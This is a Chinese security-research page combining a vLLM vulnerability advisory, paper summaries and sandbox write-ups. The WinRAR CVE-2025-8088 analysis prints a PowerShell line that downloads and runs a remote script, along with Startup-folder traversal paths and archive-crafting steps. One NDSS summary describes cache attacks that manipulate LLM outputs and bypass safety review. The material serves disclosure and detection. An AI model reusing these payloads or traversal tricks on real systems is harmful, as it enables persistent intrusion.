  1. 投稿后,若15天内未收到发表通知,您可自行决定是否向其他平台投稿。我们反对一稿多投,一经发现,将不予审核通过。
  2. 火线Zone不提供稿件退回服务,请作者自行备份原稿。
  3. 对于非原创、抄袭、洗稿或未遵守转载规则的稿件,我们将进行删除处理,并取消任何奖励,同时发布违规公告。

如何投稿

  1. 在线投稿
    (注:为方便查看稿件审阅进度,请优先选择在线投稿方式)
    进入火线Zone[https://zone.huoxian.cn/]>点击左上方【发布主题】-> 在文章开头添加#应用安全#等文章类型标签。
    文章稿件支持Markdown格式,文章发布后,社区管理员将对其进行审核并进行精华优选,请耐心等待审核。
    没有火线Zone账户的用户,可前往火线Zone注册申请加入。
  2. 邮件投稿
    您也可以将文章或稿件发送至zone@huoxian.cn
  3. 稿件疑问
    欢迎添加火线安全小助手,投稿问题可随时咨询。

投稿奖励

  1. 基础奖励:如果您未有火线安全平台认证邀请码,文章通过后你将获取到邀请码一枚,可以来注册成为火线白帽子参与平台漏洞悬赏项目。
  2. 基础奖励:文章如审核通过即可获普通文章奖励(50查克拉积分),可用于兑换火线安全商城的礼品
  3. 优秀奖励:文章内容符合社区征稿意向,内容充实有新意可获优秀文章奖励(50查克拉积分 + 500RMB)。
  4. 精华奖励:最新的事件分析和安全预警,分享业内前沿最新技术、 0day 分析与利用、个人安全开发研究新成果 等方面的奇技淫巧、心经等可获加精文章奖励((100查克拉 + 1000RMB)。
  5. 精华奖励:发布文章并获取精华标签后,可以直接加入渗透测试、APP安全、IOT安全、威胁情报、红蓝对抗等相关领域核心众测群,参与平台私密众测项目。
  6. 无奖励:内容深度较浅或网上有一定公开类似、单纯的工具介绍使用则不予奖励。

内容奖励要求:

  1. 基础奖励在内容符合要求的前提下,阅读量不做要求
  2. 优秀奖励在内容符合要求的前提下,阅读量当月突破500
  3. 精华奖励在内容符合要求的前提下,阅读量当月突破1000(内容质量较高不受此条件限制)

奖励将在每月第一周公示并发放至火线安全平台账户,可在火线安全平台申请提现。
PS:文章通过后请联系“火线小助手”加入火线Zone创作者群,与其他创作者一起思想碰撞!

转载说明

为了维护原创作者的权益,确保内容的合法传播,特制定以下转载规则。在您希望转载火线Zone社区的文章时,请务必遵守以下指南:

  1. 版权声明:在您的平台上转载文章时,请明确标注【原文来自火线Zone、原文作者以及原文链接】。
  2. 转载声明:请在文章的显著位置注明以下声明:“本文经火线Zone授权发布,转载请联系火线Zone社区。”
  3. 内容修改:您可以对文章标题和内容进行适度修改,以适应您的平台风格,但请确保不改变文章的核心观点和主旨。
  4. 公众号转载:若您希望在微信公众号上转载,请先通过火线Zone社区的官方渠道申请授权。获得授权后,请在文章开头注明公众号信息,并在文末附上转载声明。
  5. 责任归属:转载文章产生的任何版权纠纷,由转载方自行承担。请尊重知识产权,未经授权的转载行为将被视为侵权。
  6. 独家代理:如果您是文章的原创作者,并且希望火线Zone作为您作品的独家代理,请在投稿时声明,并确保作品未在其他平台发布。
  7. 版权保证:投稿者需保证拥有所投稿件的完整著作权,并授权火线Zone及其关联平台进行发布和传播。
    我们期待与您共同维护一个尊重原创、鼓励分享的社区环境。感谢您的理解和支持!

加入社群

火线Zone已经开启外部粉丝社区群和城市技术社群,大家可在群内进行技术交流,但严禁发表与技术无关的和讨论政治相关内容

添加“火线小助手”,并发送以下关键字加入社区
并发送“社区群”可以加入火线Zone社区技术群
发送“同城群”可以加入火线Zone城市分群

向WooYun Zone、Drops致敬

:)

背景

vLLM 是一个高吞吐量、低内存占用的开源 Python 库,专为大型语言模型的推理和服务设计。它通过优化的内核和高效的资源管理,支持 AI 开发者在各种硬件平台上部署和运行大型语言模型,目前达到了46.4K的star数量。vLLM 的广泛应用使其成为 AI 社区的重要工具,但也因此成为攻击者的潜在目标。

2025 年 4 月 29 日,vLLM 项目发布了安全更新,修复了多个安全漏洞。奇安信星图实验室的安全研究员协助 vLLM 项目修复了其中三个关键漏洞,分别是 CVE-2025-32444、CVE-2025-46560 和 CVE-2025-30202。这些漏洞可能被攻击者利用,引发拒绝服务攻击或远程代码执行,对使用 vLLM 的系统构成严重威胁。其中CVE-2025-32444的CVSS评分达到严重(10.0),成功利用可能导致攻击者完全控制服务器,执行恶意代码,窃取数据或破坏系统。

漏洞详情

CVE-2025-32444

vLLM Mooncake 集成远程代码执行漏洞

  • 严重性:严重
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H(10.0)
  • 受影响版本:>= 0.6.5, < 0.8.5
  • 已修复版本:0.8.5

描述: vLLM 在与 Mooncake 集成时,使用不安全的 pickle 序列化通过 ZeroMQ 套接字传输数据。由于这些套接字监听所有网络接口,未经身份验证的攻击者可以连接到开放端口并发送恶意 pickle 数据,从而在 vLLM 服务器上执行任意代码。此漏洞的攻击复杂度低,且无需用户交互,风险极高。

影响: 仅使用 Mooncake 集成的 vLLM 实例受此漏洞影响。成功利用可能导致攻击者完全控制服务器,执行恶意代码,窃取数据或破坏系统。

代码位置: https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kv_transfer/kv_pipe/mooncake_pipe.py#L179

CVE-2025-46560

vLLM input_processor_for_phi4mm 函数二次时间复杂度漏洞

  • 严重性:中等
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H(6.5)
  • 受影响版本:>= 0.8.0, < 0.8.5
  • 已修复版本:0.8.5

描述: 在 vLLM 的 input_processor_for_phi4mm 函数中,存在二次时间复杂度(O(n²))的问题。攻击者可以通过构造包含大量占位符的输入数据,导致处理时间呈平方级增长,从而耗尽 CPU 或内存资源,引发拒绝服务攻击。例如,处理 10,000 个占位符可能导致约 1 亿次操作,显著降低系统性能。

影响: 此漏洞允许具有网络访问权限的攻击者在无需高级权限的情况下触发拒绝服务,影响 vLLM 服务的可用性。

代码位置: https://github.com/vllm-project/vllm/blob/8cac35ba435906fb7eb07e44fe1a8c26e8744f4e/vllm/model_executor/models/phi4mm.py#L1182-L1197

CVE-2025-30202

vLLM ZeroMQ XPUB 套接字配置不当漏洞

  • 严重性:高
  • CVSS 3.1 向量:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5)
  • 受影响版本:>= 0.5.2, < 0.8.5
  • 已修复版本:0.8.5

描述: 在多节点 vLLM 部署中,ZeroMQ XPUB 套接字被配置为绑定到所有网络接口,允许未经授权的客户端连接并接收内部 vLLM 状态数据。攻击者可通过发送大量连接请求或恶意数据包,减缓或阻塞发布者进程,从而引发拒绝服务攻击。

影响: 此漏洞可能导致 vLLM 服务性能下降或完全不可用,影响多节点部署的稳定性。攻击者无需认证即可利用此漏洞。

代码位置

建议措施

为确保系统安全,vLLM 用户应采取以下措施:

  1. 立即更新:将 vLLM 更新到版本 0.8.5 或更高版本,以修复所有上述漏洞。更新说明可参考 vLLM 官方文档。
  2. 临时缓解措施
    1. GHSA-hj4w-hm2g-p6w5:确保 vLLM 服务器不暴露在不受信任的网络中,并通过防火墙限制对 ZeroMQ 套接字的访问。
    2. GHSA-9f8f-2vmf-885j:配置防火墙规则,仅允许受信任的主机访问 XPUB 套接字使用的 TCP 端口(端口为随机分配,需检查配置)。
  3. 网络隔离:将 vLLM 部署在受控网络环境中,避免直接暴露在公共互联网上。

相关链接

漏洞影响评估

以下表格总结了三个漏洞的关键信息:

漏洞 IDCVE ID严重性受影响版本已修复版本主要影响
GHSA-vc6m-hm49-g9qgCVE-2025-46560中等>= 0.8.0, < 0.8.50.8.5拒绝服务(DoS)
GHSA-hj4w-hm2g-p6w5CVE-2025-32444严重>= 0.6.5, < 0.8.50.8.5远程代码执行(RCE)
GHSA-9f8f-2vmf-885jCVE-2025-30202>= 0.5.2, < 0.8.50.8.5拒绝服务(DoS)

技术背景

vLLM 的设计依赖于高性能的分布式计算和网络通信,特别是在多节点部署中使用了 ZeroMQ 等技术。然而,网络接口配置不当或序列化机制的不安全使用可能引入严重的安全风险。例如,pickle 序列化在 Python 中因其可执行任意代码的特性而被认为不安全,尤其是在未受信任的网络环境中。类似地,ZeroMQ 套接字的默认配置可能导致意外的数据暴露或资源耗尽。

社区响应

vLLM 项目团队迅速响应了这些漏洞报告,并在 0.8.5 版本中发布了修复补丁。社区用户被鼓励通过 vLLM GitHub 仓库 跟踪更新,并参与漏洞报告和修复工作。vLLM 还计划在未来的版本中增强安全设计,例如改进网络配置验证和序列化安全性。

结论

这些漏洞的发现和修复凸显了开源软件安全的重要性。vLLM 作为 AI 领域的重要工具,其安全性直接影响众多应用场景。通过奇安信星图实验室和 vLLM 社区的协作,这些高危漏洞得以迅速修复,保障了用户系统的安全。用户应保持警惕,及时更新软件,并遵循最佳安全实践以降低风险。

在刚刚结束的网络安全国际顶级会议46th IEEE Symposium on Security and Privacy(简称 IEEE S&P 2025)中,奇安信技术研究院星图实验室的研究成果在会议中进行了分享报告。

IEEE S&P 2025 共收到 1740 篇投稿,最终录用 257 篇,录用率仅为 14.8%。作为信息安全四大顶级学术会议之一,IEEE S&P 长期代表着全球网络与系统安全研究的最新进展与前沿方向,受到学术界与工业界的高度关注。

来自星图实验室的安全研究员周嘉炜同学在大会上分享了题为《Hey, Your Secrets Leaked! Detecting and Characterizing Secret Leakage in the Wild》的研究工作,聚焦软件供应链中的密钥检测技术。该成果由东南大学、奇安信技术研究院星图实验室与清华大学联合完成,由东南大学周嘉炜同学通过国家卓越工程师培养项目,在星图实验室联合培养期间主导完成。

为全面评估多平台下的密钥泄漏风险,该工作从 GitHub、PyPI 和微信小程序等主流平台采集数据,并构建了一个覆盖代码、配置、日志等多类型文件的密钥基准数据集,从而为后续研究提供了可靠的评测基础。

此外,该工作设计并实现了密钥检测系统 KEYSENTINEL。该系统在提取规则方面进行了有针对性的设计与优化:针对结构化密钥,改进了现有匹配模式;对于非结构化或人为设置的密钥,引入前缀匹配、字符串位置关系和子串特征分析等方法,提升提取的准确性。为有效降低误报率,KEYSENTINEL 采用了多层次的混合过滤机制,包括基于语法结构的完整性校验、分段熵过滤、语义分析以及基于 TextCNN 的模型识别,并结合启发式前缀过滤策略进行进一步筛选。实验结果表明,KEYSENTINEL 在检测准确率上达到 91.18%,F1 值为 0.86,显著优于现有主流工具。

最后,该工作开展了大规模、跨平台的密钥泄露测量与风险分析。通过对来自 GitHub、PyPI 和微信小程序平台的逾 8000 万个文件进行扫描分析,发现约 30% 的项目存在密钥泄露风险。进一步的版本演化分析表明,85.91% 的 PyPI 软件包在更新过程中未能清除历史密钥,暴露出版本控制和发布流程中的安全隐患。此外,该工作将 KEYSENTINEL 应用于某企业内部代码库,结果发现其中 36.5% 的密钥仍然处于有效状态,且 23.7% 的密钥存在生产与测试环境复用的情况,进一步揭示了当前实际开发流程中密钥管理存在的问题和面临的挑战。

相关研究成果已在奇安信内部系统中落地应用,有效支撑了企业级代码安全审计与风险防控。

星图实验室协助vLLM项目修复多个高危漏洞)

在软件开发流程中,代码编译是不可或缺的一环。面对日益增长的开源项目规模和复杂性,手动进行仓库级编译往往伴随着效率低下和错误频发的问题。如何有效应对环境配置、依赖管理及编译错误等挑战,是当前自动化软件分析领域的一个重要课题。今天,我们很高兴向大家介绍一项由奇安信星图实验室中国科学技术大学共同参与的研究项目——CompileAgent,这项工作已成功中稿ACL 2025!它是一个基于大型语言模型(LLM)的智能体框架,旨在探索仓库级代码编译的自动化方案。

仓库级编译的挑战

与简单的单文件编译不同,对整个代码仓库进行编译涉及复杂的构建配置和多文件间的相互依赖。开发者们在这一过程中常遇到诸多难题,例如查找准确的编译指令、处理依赖冲突、解决环境不匹配以及代码兼容性问题等。这些挑战使得自动化编译成为一个复杂且有待深入探索的领域。

CompileAgent:一个LLM驱动的仓库级自动化编译框架

受到LLM在自动化复杂任务方面应用前景的启发,我们提出了CompileAgent——首个专为仓库级代码编译任务设计的LLM智能体框架。它旨在通过模拟开发者的编译工作流,自主地搜索编译指令并解决编译过程中出现的错误。

CompileAgent的关键组成:

CompileAgent集成了五种工具和一个流式代理策略,主要通过以下两个核心模块协同工作:

  • CompileNavigator(编译导航模块):负责在代码仓库中寻找并提取正确的编译指令。它利用Shell工具与交互环境进行操作,通过文件导航器(File Navigator)识别可能包含指令的文件,并借助指令提取器(Instruction Extractor)从文件中提炼出编译步骤,甚至从相关URL获取网页内容进行汇总。
  • ErrorSolver(错误解决模块):专用于处理项目构建过程中遇到的编译错误。它包含网页搜索(Website Search)工具,能够查询在线资源(如GitHub和StackOverflow)以获取解决方案。此外,它还采用了多智能体讨论(Multi-Agent Discussion)机制,多个LLM智能体通过多轮讨论,共同分析复杂的编译错误并生成初始解决方案,直到达成共识。

CompileAgent遵循一种流式代理策略,该策略定义了工具的使用顺序,并通过提示词实现工具间的无缝衔接。

CompileAgent系统架构图

实验效果

我们构建了CompileAgentBench,一个包含100个C/C++项目的仓库级编译基准,使用七个主流LLM驱动CompileAgent进行了评估。实验结果显示了CompileAgent的有效性:

  • 编译成功率提升:相较于现有的基线方法(OSS-FuZZ-Gen)和针对辅助编译而构建的方案(Readme-Al 和 RAG),CompileAgent的编译成功率提升了17%至71%。例如,在Claude-3.5-sonnet模型上,成功率提升了71%。
  • 编译时间减少: 编译总时间可减少最多121.9小时。

成本效益: 平均每个项目的编译成本约为0.22美元。

CompileAgent实验结果对比图

讨论与未来潜力

CompileAgent的实践经验表明,LLM智能体在处理复杂的软件工程任务方面具有潜力。这项工作在多个领域提供了启发意义:

  • 自动化CI/CD: 仓库级自动化编译是持续集成/持续部署(CI/CD)流程中的关键一步。CompileAgent的成功经验为构建更智能、更自主的CI/CD流水线提供了新的思路。
  • 自动化程序分析: 编译成功所生成的二进制文件或库可用于后续的性能测试、优化和安全漏洞分析。CompileAgent也可以继承编译时代码分析工具(如Coverity Scan和Scan-Build),可以进一步提升自动化程序分析的效率和可靠性。
  • 软件标准测试环境自动化构建: 通过自动完成复杂的编译过程,CompileAgent有助于快速搭建和维护标准化的软件测试环境,降低环境配置的难度和耗时。
  • 多语言与跨架构编译: 借助其可扩展性,CompileAgent有望支持多语言(如Go、Rust等)和多架构(如MIPS、ARM等)的编译,从而拓展其应用范围。

CompileAgent的工作为LLM在真实世界软件工程领域的应用打开了新的视角。我们期待它能在未来的自动化开发实践中发挥更大的作用。

实践应用

实际上,CompileAgent在我们先前发布的ReCopilot项目的数据构建过程中起到了重要作用。我们使用它自动化编译了上百个开源项目,构建了9,733个 artifact-level 二进制文件,节省了约7人天的枯燥劳动时间,模型推理开销仅约100元人民币。

「ReCopilot由奇安信技术研究院星图实验室研发, 是一个基于大模型的二进制程序分析辅助系统,利用人工智能增强逆向工程工作流程,为人类逆向工程师提供帮助以提升效率。公开Demo:https://tqgpt.qianxin.com/recopilot

更多参考

想了解更多技术细节?欢迎阅读我们的学术论文或访问项目主页:

感谢您的阅读,期待CompileAgent能为您的研究带来启发!

一、简介

近期,WinRAR 曝出存在目录穿越漏洞(CVE-2025-8088),攻击者可构造恶意压缩包实现目录穿越,将任意文件写入到系统盘的任意位置。攻击者利用此漏洞可将恶意载荷(Payload)释放到 Windows 系统的“启动”文件夹下,当用户下次登录系统时,恶意代码将被自动执行,攻击者可获得主机的持久化控制权。该漏洞影响所有版本号 < 7.13 的 WinRAR,建议各位读者立即升级至 WinRAR 7.13 或更高版本。

自漏洞曝出,天穹团队积极扫描线上样本,检测到存在利用 CVE-2025-8088 的压缩包恶意样本,沙箱已于第一时间对该攻击样本进行分析,并确认天穹沙箱可以有效检测利用此漏洞的恶意行为,保护用户免受其害。

二、样本信息

  • 样本名:【内部资料】研发部门员工薪资单.rar
  • SHA1:67F6B3530D0D017040873246B4A592F09470FFCC
  • 文件类型:RAR Archive Data (v5)
  • 诱饵文件:【内部资料】研发部门员工薪资单.txt
  • 关联载荷:start.bat

三、样本分析

行为分析

该压缩包内部包含一个名为【内部资料】研发部门员工薪资单.txt的诱饵文件和一个名为 start.bat 的 Payload 文件,使用包含 CVE-2025-8088 漏洞的 WinRAR 解压该样本时将执行以下操作:

  • 在当前目录释放诱饵文件【内部资料】研发部门员工薪资单.txt
  • 在用户自启动目录释放 start.bat 文件,其内容为远程执行 PS1 文件。

当受害者重启电脑后,释放在自启动目录的 bat 文件会被执行触发恶意行为。

沙箱分析

将该样本投递至天穹沙箱,从压缩包检测部分可以看到,沙箱准确识别出漏洞信息诱饵文件恶意载荷路径,如图1所示。

图1 压缩包检测

通过动态分析可以看到,沙箱检测到样本将 start.bat 写入 c:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\ 目录,且进程的执行者为 winrar.exe,如图2所示。

图2 创建开启自启动脚本

单独分析 BAT 脚本,解密后其主体内容如下:

1IEX (New-Object System.Net.WebClient).DownloadString(‘http://47.82.111.137:666/reflection.ps1’)

由动态分析进程树部分可见,沙箱捕获到样本执行 Powershell 命令,如图3所示。

图3 执行Powershell命令

样本尝试下载并执行该 ps1 文件,如图4所示。

图4 远程下载ps1脚本并执行

由于该下载地址已死亡,无法进一步分析后续行为。

漏洞利用攻击链分析

该漏洞的核心利用方式是将 RAR5 文件头篡改与 NTFS 备用数据流(ADS)相结合。

  1. 载荷隐藏:攻击者首先将恶意载荷(如 1.bat )附加到一个无害的诱饵文件(如 decoy.txt )的 NTFS 备用数据流(ADS)中,这使得载荷在文件管理器中不可见,增加了隐蔽性。
  2. 构造基础包:攻击者使用官方的 WinRAR 命令行工具,将被附加了 ADS 的诱饵文件正常打包。这一步骤中 RAR 文件会记录下 ADS 的流名称,需要注意的是,WinRAR 在打包时禁止写入 ../ 这类可能造成目录穿越的路径,所以此处会先用占位符填充,如 X,但需要保证路径长度和修改后的路径长度一致,这样便于后续填充,如图5所示。
图5 原始RAR文件
  1. 路径篡改:这是最关键的一步。攻击者以二进制方式打开上一步骤生成的 RAR 文件,在文件头(File Header)中搜索记录 ADS 流名称的位置,并将其替换为精心构造的路径遍历字符串,例如:..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.bat
  2. 校验和修复:直接修改文件头会破坏文件 CRC32 校验和,导致 WinRAR 报错。为了使恶意压缩包能够被正常解压,攻击者会重新计算被篡改过的文件头的 CRC32 值写回文件,如图6所示。
图6 修改后的RAR文件

文件分析

通过分析发现,该样本使用了 \..\..\..\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup 进行目录穿越,当用户在 DownloadsDocumentsDesktop 和其他类似目录解压时,可顺利将 bat 脚本释放到用户自启动目录,如图7所示。此攻击方式的优点是无需知晓用户名,且用户下载压缩包时通常保存的目录就在 Downloads 目录。

图7 目录穿越路径

四、IOC

恶意文件(SHA256)

15123d998f3f2c1c6bead26f9ea102b5e46710cf1b0699f9b455a80af8e383155

恶意链接

1http[:]//47.82.111.137[:]666/reflection.ps1

报告链接

漏洞利用分析报告:天穹沙箱分析报告

压缩包文件分析报告:天穹沙箱分析报告

一、升级与优化

天穹智能分析平台近期完成全面升级,新增多项功能,并根据用户反馈进行了系统性优化。本次升级重点体现在以下三个方面:

  1. 情报智能体正式上线;
  2. 智能问答响应速度显著提升;
  3. 样本与网络地址详情页全面更新。

平台地址:天穹智能分析平台

接下来,我们将详细介绍每一项升级内容。

二、情报智能体正式上线

在此前的更新中,我们已经通过天穹沙箱的智能拓线功能初步体验了智能体的便捷与强大。本次更新,我们正式将情报智能体引入智能搜索,极大提升了智能体在面对复杂问题的处理能力,并能进一步提升回答深度和广度。

下面,我们以情报狩猎固件下载三个领域为示例,演示在哪些场景可开启智能体,以及如何使用智能体。

情报分析

例如,我们要求智能体针对以下情报问题进行深度分析:

🔍 分析APT37组织在过去一年的活动,并对收集的IOC进行分析和拓线

在搜索框输入问题,点击智能体按钮,即可开启智能体模式,如图1所示:

图1 开启智能体模式

接下来,我们会进入智能体页面,智能体首先会根据问题制定一份详细的方案,此模式为计划模式,如图2所示:

图2 计划模式

询问用户是否确认此方案,如图3所示:

图3 方案确认

如果对方案不满意,可以选择否,并提出其他需求。例如,我们要求智能体进一步查询样本的沙箱分析报告,如图4所示:

图4 修改方案

将需求发送后,智能体会重新制定一份方案。如图5所示,在新的方案中已经包含了提的新需求:

图5 按照要求重新制定方案

确认方案后,智能体将进入执行模式

在页面左侧天穹智能体部分,我们可以看到智能体的工具调用信息,包括工具名、调用参数和工具返回结果,如图6所示:

图6 工具调用

在右侧的智能体思维链部分,我们可以看到智能体对每一轮操作的描述和总结,方便随时查看智能体任务进度,如图7所示:

图7 智能体思维链

值得一提的是,本次升级上线了12款MCP工具,涵盖以下四个领域:

  • 情报检索
  • APT组织画像
  • 样本拓线
  • IOC查询

后续我们会持续关注与更新,引入更多强大和实用的MCP工具,进一步拓展智能体的能力边界。另外,您可以查看工具调用参数、返回结果和思维链,深入了解MCP工具和智能体。

任务完成后,右侧将展示完整的分析报告,顶部可复制、全屏查看、下载报告,如图8所示。此前的思维链将默认折叠,可滑动到报告底部展开查看。

图8 智能体分析报告

以下是智能体生成的完整分析报告,可看到智能体收集了一年以来有关APT37组织的情报,给出了详细的攻击时间线,并按照要求对IOC进行进一步拓线分析,如图9所示:

图9 APT37分析报告

如果对输出报告不满意,可以要求智能体进一步修改,如图10所示,智能体将重新生成报告,此处不再赘述。

图10 答案确认

威胁狩猎

在日常样本分析过程中,我们常常需要搜索特定名称、家族、时间范围等特征的样本,例如:

🔍 收集近期文件名中包含”名单”、“票”或“简历”的高危样本

可以看到,智能体不仅准确列出了样本IOC信息,还按照静态、动态对样本进行分类,并进一步对样本进行了关联分析,输出内容详实可靠,如图11所示:

图11 威胁狩猎报告

固件下载

对于IoT设备分析人员而言,精准定位特定型号与版本的官方固件下载地址是开展安全研究的关键前置步骤。例如:

🔍 查找 TP-Link Archer VR400 固件下载地址

智能体成功识别并汇总了该设备多个官方固件版本的下载链接,同时标注了每个固件的文件大小,便于用户快速比对与选择。更重要的是,智能体还对所有链接进行了威胁情报筛查,主动过滤非官方来源、第三方托管或已失效的链接,确保结果安全、可靠、有效,显著提升研究人员的工作效率与安全性,如图12所示。

图12 固件下载报告

三、响应速度显著提升

通过持续资源升级与模型优化,智能问答的响应速度大幅提升,回答耗时由原来的1分30秒缩短至30秒,如图13所示。

图13 速度对比

四、详情页全面更新

此前版本的样本和网络地址详情页存在信息密度低、内容不全的问题,经过全面改进,新版详情页信息密度显著提升,能够展示更多高价值数据,以下是具体的升级内容。

样本详情页

样本详情页在升级后,可以更加便捷的查看样本关联情报、引擎告警、静态信息、网络行为、沙箱报告和威胁配置,如图14所示:

图14 样本详情页升级前后对比

网络详情页

网络地址详情页在升级后,可以更加便捷的查看网络地址关联情报、关联样本、和 Whois 信息,如图15所示:

图15 网络详情页升级前后对比

五、 技术支持与反馈

天穹智能分析平台持续迭代升级,致力于为每一位样本分析人员打造更高效、更智能、更易用的分析平台——这始终是我们不变的初心与追求。

如果您希望深入了解平台功能,或在使用过程中遇到任何问题,欢迎随时联系我们。您的反馈,是我们进步的重要动力!

一、概述

在 Windows 系统中,压缩包(如 RAR、ZIP、7z 等)作为常见的文件分发载体,因其便捷性和通用性被广泛使用。然而,攻击者常利用压缩软件的目录穿越漏洞(如 CVE-2025-8088),通过构造恶意压缩包将恶意载荷写入系统关键路径(如启动项、系统目录等),实现持久化驻留或提权执行。此类攻击隐蔽性强、危害大,且传统静态检测难以有效识别。

为应对这一威胁,天穹沙箱正式上线压缩包目录穿越动态检测能力。该能力通过监控压缩软件在沙箱环境中的实际解压行为,实时捕获文件写入路径,精准识别包含 ..\、绝对路径、UNC 路径等高危操作,有效还原攻击者的真实意图。

二、目录穿越攻击常见手法

当前主流压缩包目录穿越攻击主要包括以下几类:

  1. 路径遍历(Path Traversal)压缩包内构造包含 ..\..\..\ 的文件路径,诱导解压程序将文件写入非预期目录。例如:1
    ..\..\..\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\demo.exe
  2. 绝对路径写入部分压缩格式(如 RAR)支持在压缩时嵌入绝对路径。攻击者可直接指定目标写入路径,绕过用户预期目录限制。
  3. UNC 路径利用通过构造类似 \\?\C:\Windows\Temp\demo.exe 的 UNC 路径,绕过常规路径校验逻辑,实现任意位置写入。

三、样本分析

样本上传

上传样本到天穹沙箱,即可快速准确地检测未知样本恶意行径,操作步骤如下:

  1. 登录天穹沙箱
  2. 选择分析环境及配置项,如图 1 所示,选择 Windows x64 作为分析系统,配置自动解压开关为 OFF,点击确认选择;
  1. 登录天穹沙箱
  2. 选择分析环境及配置项,如图 1 所示,选择 Windows x64 作为分析系统,配置自动解压开关为 OFF,点击确认选择;
图1 分析配置

上传样本,点击上传区域选择样本上传或将样本拖至上传区域即可上传样本,如图 2 所示,等待沙箱分析结束。

图2 上传样本

检测能力

样本一:7z目录穿越利用(CVE-2025-11001)

报告链接:天穹沙箱分析报告

漏洞原理:CVE-2025-11001 漏洞源于 7-Zip 在处理 ZIP 压缩包中的符号链接(Symbolic Links)时存在安全缺陷。具体来说,当 7-Zip 解压包含符号链接的 ZIP 文件时,未能正确验证符号链接指向的目标路径,导致攻击者可以构造恶意的 ZIP 压缩包,其中包含指向系统关键目录(如系统目录、程序目录等)的符号链接。

经天穹沙箱分析,在 7z 解压过程中捕获到以下行为,如图 3 所示:

  • 7z 工具向自启动目录写入文件 c:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc.exe
  • 该路径明显超出沙箱指定的解压目录 C:\Users\luchao\AppData\Roaming\
  • 沙箱触发“目录穿越”高危告警。
图3 目录穿越检测

借助天穹智能分析平台了解 CVE-2025-11001 漏洞的详细信息,如图 4 所示,智能体总结了漏洞成因、攻击条件、影响版本、PoC代码等信息,并以脑图形式直观展示分析结果之间的关联和层级结构。

图4 天穹智能体解读

样本二:winrar 目录穿越利用(CVE-2025-8088)

报告链接:天穹沙箱分析报告

漏洞原理:WinRAR 在解析压缩文件时存在路径校验逻辑缺陷,未对压缩包内嵌的 NTFS 备用数据流(ADS)及路径跳转符号(如 ..\)进行严格过滤。攻击者可利用此缺陷构造恶意压缩包,通过 ADS 特性隐藏恶意文件,并结合路径遍历技术突破解压目录限制,最终将文件写入系统敏感路径(如启动目录)。

基于天穹沙箱的动态分析链还原漏洞利用攻击路径,如图 5 所示:

  1. 触发解压:用户双击恶意压缩包,系统调用 WinRAR.exe 启动解压流程;
  2. 路径篡改:WinRAR 在解析压缩包时,未正确校验文件路径的合法性。攻击者通过 ADS 流嵌入的路径跳转指令(如 ..\Startup\payload.exe),将目标解压路径动态指向系统启动目录(C:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup);
  3. 越权写入:WinRAR 绕过用户指定的解压目录(如 C:\Downloads),直接将恶意文件写入启动目录,完成持久化驻留。
图5 目录穿越检测

四、IOC

恶意文件(SHA256)

1
2
ad9d91db166e91139b41ae1beae99da78ce0d231b32c43daf50eb0270508d5e9
2a8fafa01f6d3863c87f20905736ebab28d6a5753ab708760c0b6cf3970828c3

报告链接

样本一分析报告:天穹沙箱分析报告

样本二分析报告:天穹沙箱分析报告

近日,国际顶级学术会议 NDSS 2026(Network and Distributed System Security Symposium)公布录用结果,奇安信技术研究院合作完成的5篇论文成功被录用。NDSS 2026将于2026年2月23日至27日在美国圣地亚哥举办。此次多篇论文被录用,充分展现了奇安信技术研究院在网络安全前沿技术研究领域的深厚实力。

1. 大语言模型(LLM)推理服务框架中的缓存安全问题

第一篇论文是由奇安信技术研究院、中国海洋大学和清华大学联合完成的AI安全研究工作,论文题目为《Cache Me, Catch You: Cache Related Security Threats in LLM Serving Frameworks》。这项工作由中国海洋大学和奇安信联合培养的硕士研究生吴祥凡在奇安信技术研究院联培期间主导完成,导师为应凌云博士(奇安信星图实验室)和曲海鹏教授(中国海洋大学),其他作者为陈国强(奇安信星图实验室),谷雅聪(清华大学)。这项研究聚焦于大语言模型(LLM)推理服务框架中的安全威胁,深入分析了 KV Cache、多模态缓存及语义缓存 三大核心机制。

这项工作揭示了上述机制中严重的安全隐患:攻击者可利用这些漏洞操纵模型输出,实施数据投毒,甚至绕过现有的安全审核与防御体系。团队在 vLLM、SGLang 和 GPTCache 等主流推理服务框架中定位到了具体的实现缺陷,并提出了针对性的修复方案。目前,相关漏洞已被厂商确认并修复,因此获得了 3 个 CVE 漏洞编号,为提升 LLM 基础设施的安全性做出了实质性贡献。

2. npm 生态漏洞传播影响分析

第二篇论文是由奇安信技术研究院和清华大学合作完成的关于软件供应链安全的工作。论文题目为《From Noise to Signal: Precisely Identify Affected Packages of Known Vulnerabilities in npm Ecosystem》,作者为蒲应元(奇安信星图实验室)、应凌云(奇安信星图实验室)和谷雅聪(清华大学)。这项研究提出了基于函数调用关系的细粒度漏洞传播关系识别方法,结果表明传统的基于包依赖关系识别的漏洞影响结果中约 70% 都是误报。

npm作为全球最大的开源软件生态,其错综复杂的依赖关系使得漏洞极易在供应链中传播,给软件安全带来巨大隐患。现有的包级别软件成分分析(SCA)工具普遍存在严重的误报问题,无法区分漏洞代码是否真实被调用,同时现有的函数级分析工具在面对大规模生态时,往往面临计算成本过高和对JavaScript动态特性支持不足等瓶颈。为解决这些问题,我们设计开发了 VulTracer,一款面向npm生态的高精度、可扩展的函数级漏洞传播分析框架。该工具创新性地提出了“一次分析,多次复用”的模块化分析模式,通过对每一个 npm 包构建不可变的富语义图(RSG)、提取形式化接口以及按需组合合成技术,成功解决了大规模静态分析中的性能与精度挑战。

